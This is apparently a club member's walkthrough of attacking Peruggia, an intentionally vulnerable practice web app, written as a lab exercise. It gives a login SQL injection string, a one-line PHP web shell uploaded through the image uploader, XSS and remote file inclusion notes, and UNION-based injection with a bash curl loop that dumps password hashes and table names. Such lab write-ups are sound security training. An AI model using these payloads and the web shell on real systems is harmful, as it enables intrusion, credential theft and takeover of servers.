Peruggia Writeup

Kris and I did some ‘pair hacking’ on peruggia at this week’s meeting, and here are the things we came up with. Lots of spoilers below.

Logging in

Right off the bat, we were able to login as username: admin, password: admin. From there we could make/delete users, change passwords, upload/delete stuff and all those good admin-y type things.

Were it not the case that the admin password was so easy to guess, we also found an SQL injection vulnerability in the username field. The source for the query looks like:

[code]$creds = mysql_query(“SELECT * FROM users WHERE username=‘”.$POST[‘username’].“‘ AND password=’”.md5($POST[‘password’])    .“‘”, $conx);[/code]

As you can see, $POST[‘username’]_ is inserted into the query without any sanitizing, so entering a username such as:

[code]a’ || 1=1 –%20[/code]

(important: there should be a space at the end of the string, but wordpress chops it off - substituted %20) will cause the resulting query to be:

[code]SELECT * FROM users WHERE username=‘a’ || 1=1 – ‘ AND password=’“.md5($_POST[‘password’])    .”‘“[/code]

and will always evaluate to true. Since admin is the first user in the db and thus the first row returned, it will log you in as admin!

Getting shell and source

Once logged in we were able to upload pictures. The uploader is insecure though and allowed us to upload a php script instead of an image. And it uploads into the /images/ directory, which is publicly readable, so we could visit the script url and get output. Here’s the script we used:

[code]<?php echo system($_GET[‘foo’]); ?>[/code]

Getting shell was just that easy! Now by setting the foo parameter we could run arbitrary commands on the server (as the current user, which was www-data). For instance, if your uploaded file was called bar.php, visiting


will give you the output of ls on the server. We wanted the source, so we did


which tar’d up the entire parent directory (which has the whole website source code) and left it readable to be downloaded.

(As a note here, since the app thought our script was a picture, other people were able to delete it with the click of a button on the admin page. This got annoying quick so we used our script to call mv on itself and moved it to a location where it wasn’t so easy to delete).

After getting the source it was ezmode since it’s littered with different vulnerabilities that are free for the taking. Here are a few we found and exploited: * XSS on the comments. Make a comment with the text


and it will run on the page of whoever visits, because the comments are being inserted into the html without any sanitizing.

  • The “learn” page had a XSS vuln on the type parameter in the url, as well as an RFI (remote file include) vuln on the paper parameter. If you put the url of a php script in the paper parameter it will be included on the page.

Reading the whole db!

For my favorite of the night, we used the source to find that the pic_id parameter for the comments page was being inserted directly into an SQL statement, and thus we were able to inject into it. However, unlike the login SQL injection which simply logged us in, this injection displayed information from it’s query onto the page. As a result we can UNION to a query that we craft to return anything from the database. SQL UNION will only work if the result from both queries has the same number of columns, so we had to first pad our crafted query until we got it right. A benign request to the page looks like


So we did this: /index.php?action=comment&pic_id=1+union+select+1+from+users+–+

but our 1 didn’t show up on the page. Trying /index.php?action=comment&pic_id=1+union+select+1,1+from+users+–+ still got nothing. We continued in this fashion until


yielded a 1 (under the uploaded by area?) where it had before been nothing. Success! We now knew the query was expecting 4 columns to be returned and that the fourth  is being output right onto the page. With a small guess on the column name it wasn’t much a jump to get


which displayed the password (md5 hashed) for the first user in the db. It was the admin password hash, so with a quick google search the password was found ;)

This only works if the first user in the db is the only password hash you want, but we got greedy and decided we wanted them all. To accomplish this we used the LIMIT and OFFSET SQL commands as such:


By changing the offset number, you can get any row returned by the query.

Of course if the database had hundreds or more users this would take a long time by hand, so Kris suggested we write a script to dump all the rows for us, which we did as a bash one liner.

[code]for X in {0..200}; do curl -s “,1,1,password+from+users+LIMIT+1+OFFSET+$X+–+” | grep Uploaded;  done[/code]

What this does is cycle through the provided range which changes the $X we have at the end of the query string for the offset. curl will return the entire page from the http request (the -s is for silent) and pipe it into grep where we’re looking for the relevant line of the page source (the uploaded by part where the password will be dumped).

Using this same one liner with a slightly tweaked SQL statement you can dump whatever you want in the db. For instance, if you wanted to know the name of all the tables that exist you can do something like

[code]for X in {0..200}; do curl -s “,1,1,table_name+from+information_schema.tables+LIMIT+1+OFFSET+$X+–+” | grep Uploaded;  done[/code]

which will dump all the table names from the meta table called information_schema.

Now you should be a pro, so go download peruggia and try this stuff yourself!